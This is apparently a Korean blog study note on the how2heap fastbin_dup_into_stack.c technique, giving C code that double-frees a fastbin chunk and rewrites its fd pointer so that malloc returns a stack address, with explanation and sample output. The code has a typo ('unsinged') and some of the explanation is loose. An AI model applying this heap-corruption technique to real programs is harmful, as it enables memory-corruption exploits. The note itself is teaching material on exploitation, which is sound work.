y0u_bat
[heap] fastbin_dup_into_stack.c 본문
how2heap fastbindupinto_stack.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int main(void)
{
int *a = malloc(8);
int *b = malloc(8);
int *c = malloc(8);
unsigned long long stack_var;
printf("malloc() return address %p\n", 8+(char *)&stack_var);
printf("[a] : %p\n",a);
printf("[b] : %p\n",b);
printf("[c] : %p\n",c);
free(a);
free(b); // free list의 맨위쪽에 위치하기 때문에 크래쉬가 터진다.
free(a); // free list의 맨위쪽에 위치하지 않기 때문에, free가 가능하다.
printf("free list [%p, %p, %p]\n",a,b,a);
unsigned long long *d = malloc(8);
printf("1st malloc(8): %p\n",d);
printf("2st malloc(8): %p\n",malloc(8));
stack_var = 0x20;
*d = (unsinged long long)(((char *)&stack_var) - sizeof(d));
printf("3st malloc(8): %p\n",malloc(8));
printf("4st malloc(8): %p\n",malloc(8));
}
fastbin_dup.c에서는 더블프리버그에 대해서 설명한다.
double free bug는 라이브러리가 2.3.2버전 이하에서 발생한다.
free를 a -> b -> a 순서대로 하여, a를 두번 free 하게 된다.
fastbin 구조에서는 LIFO 방식으로 재할당된다.
먼저 free(a)를 먼저 하면, a의 fd, bk이 null이다.
free(b)를 하면
free(a) fd: null bk: null
free(b) fd: &a bk: null
마지막으로 free(a)를 하게 되면,
free(a) fd: null bk: null
free(b) fd: &a bk: null
free(a) fd: &b bk: null
이러한 구조가 만들어진다.
malloc을 4번하게 되면, &a와 &b와 &a에 할당 되게 하고, 다음인 &b에 할당되게 한다.
이때 마지막 3번째 fd를 컨트롤해서 4번째 malloc()할때 리턴하는 주소를 원하는 곳으로 컨트롤 가능하다.
이때 조심 해야 되는것은 fake chunk에서 size부분을 똑같이 맞추어 줘야 된다. 안그러면 malloc corruption이 뜬다.
그러므로 fd를 바꿀주소의 +8(64bit 기준)부분에 size크기가 똑같이 맞추어 있어야된다.
위 예제 같은경우는 스택에 0x20이라는 값을 만들어주고 0x20가 있는 주소의 - (포인터크기)한 주소를 fd로 변경하여 malloc() 리턴값을 스택주소로 바꾸었다.
예제결과
ihaechan@ubuntu:~/Desktop$ ./taa
malloc() return address 0x7fff235f1400
[a] : 0x6fa010
[b] : 0x6fa030
[c] : 0x6fa050
free list [0x6fa010, 0x6fa030, 0x6fa010]
1st malloc(8): 0x6fa010
2st malloc(8): 0x6fa030
3st malloc(8): 0x6fa010
4st malloc(8): 0x7fff235f1400
'System' 카테고리의 다른 글
[how2heap] House of Spirit (0) | 2017.01.25 |
---|---|
Double Free Bug Vulnerability (0) | 2017.01.09 |
[heap] how2heap first_fit.c (0) | 2016.10.20 |
[heap] fastbin fd control (2) | 2016.10.07 |
QEMU-MIPS 환경 구축 (1) | 2016.09.14 |
Comments